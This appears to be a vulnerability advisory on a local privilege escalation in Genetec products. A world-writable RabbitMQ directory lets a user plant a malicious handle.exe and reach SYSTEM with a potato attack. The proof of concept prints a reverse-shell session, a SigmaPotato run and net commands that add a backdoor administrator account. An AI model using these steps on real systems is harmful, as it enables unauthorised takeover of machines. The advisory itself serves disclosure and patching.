Management summary
The RabbitMQ installation on multiple Genetec products created a directory with weak permissions, which allowed any authenticated user to inject arbitrary code that was then executed by the service. A local attacker could exploit this vulnerability in combination with Rotten Potato or similar potato-family privilege escalation techniques to achieve SYSTEM-level privileges on the affected system.
Vendor description
"Leading technology provider of business intelligence, unified physical security, public safety, and operations. Genetec develops open-platform software, hardware, and cloud-based services for the physical security and public safety industry. Its flagship product, Security Center, unifies IP-based video surveillance, access control, and automatic license plate recognition (ALPR) into one platform. A global innovator since 1997, Genetec is headquartered in Montreal, Canada, and serves enterprise and government organizations via an integrated network of resellers, integrators, and consultants in over 159 countries. Genetec was founded on the principle of innovation and remains at the forefront of emerging technologies that unify physical security systems."
Source: https://www.linkedin.com/company/genetec/
Business recommendation
The vendor provides a patch for multiple affected products which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)
The installation of RabbitMQ using Genetec Security Center installer creates a directory `C:\ProgramData\Genetec\RabbitMQ` writable for any authenticated user. The `erl.exe` now frequently tries to execute the not existing `handle.exe` from this directory as `NT AUTHORITY\LOCAL SERVICE`. Placing a malicious `handle.exe` in `C:\ProgramData\Genetec\RabbitMQ` almost immediately invokes the `handle.exe`. Since the LOCAL SERVICE user has `SeImpersonatePrivilege`, rotten potato attacks lead to privilege escalation to SYSTEM.
Proof of concept
1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)
Exploiting the LPE requires that RabbitMQ is installed via the Genetec Security Center installer.
The "erl.exe" is looking for the executable "handle.exe" within the path C:\ProgramData\Genetec\RabbitMQ, which does not exist. As the executable erl.exe is running in the context of NT AUTHORITY\LOCAL SERVICE, the executable handle.exe would also be executed in the same context. The path C:\ProgramData\Genetec\RabbitMQ is writable for all users, which allows inserting malicious executables as handle.exe. Planting an executable exploiting Rotten Potato as handle.exe into C:\ProgramData\Genetec\RabbitMQ leads to privilege escalation due to the enabled SeImpersonatePrivilege leading to SYSTEM.

Figure 1: Process explorer showing handle.exe calls

Figure 2: Established reverse shell, showing privileges including SeImpersonatePrivilege
The following listing shows the successful exploitation:
PS C:\Users\...\Client> .\client.exe
[+] Listening on 0.0.0.0:9999 ...
[+] Waiting for incoming reverse shell connection ...
[+] Connection from 127.0.0.1:54674
[+] Shell session active ÔÇô type commands (exit to quit)
----------------------------------------------------
Microsoft Windows [Version 10.0.26200.7840]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData\Genetec\RabbitMQ> SigmaPotato.exe
C:\ProgramData\Genetec\RabbitMQ> whoami
nt authority\system
C:\ProgramData\Genetec\RabbitMQ> net user privesc [redacted] /ADD
The command completed successfully.
C:\ProgramData\Genetec\RabbitMQ> net localgroup Administrators privesc /ADD
The command completed successfully.
C:\ProgramData\Genetec\RabbitMQ> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
privesc
The command completed successfully.Vulnerable / tested versions
The following product has been tested by SEC Consult:
- Genetec Mission Control
The following products were affected as well according to the vendor:
- Genetec-provided RabbitMQ (< v3.13.7.19)
- Genetec Mission Control™ (< v3.4.1.0)
- Genetec Industrial IoT (IIoT) — 5.x line (< v5.5.118.0)
- Genetec Industrial IoT (IIoT) — 6.x line (< v6.0.196.0)
- Genetec Airport Operational Manager (AOM) (< v1.6)
- Genetec Restricted Security Area (RSA) Surveillance (< v5.2.1)
- Genetec Inter-System (IS) Gateway (< v1.2)
- Sipelia™ (< v2.11)
All other Genetec products are not affected.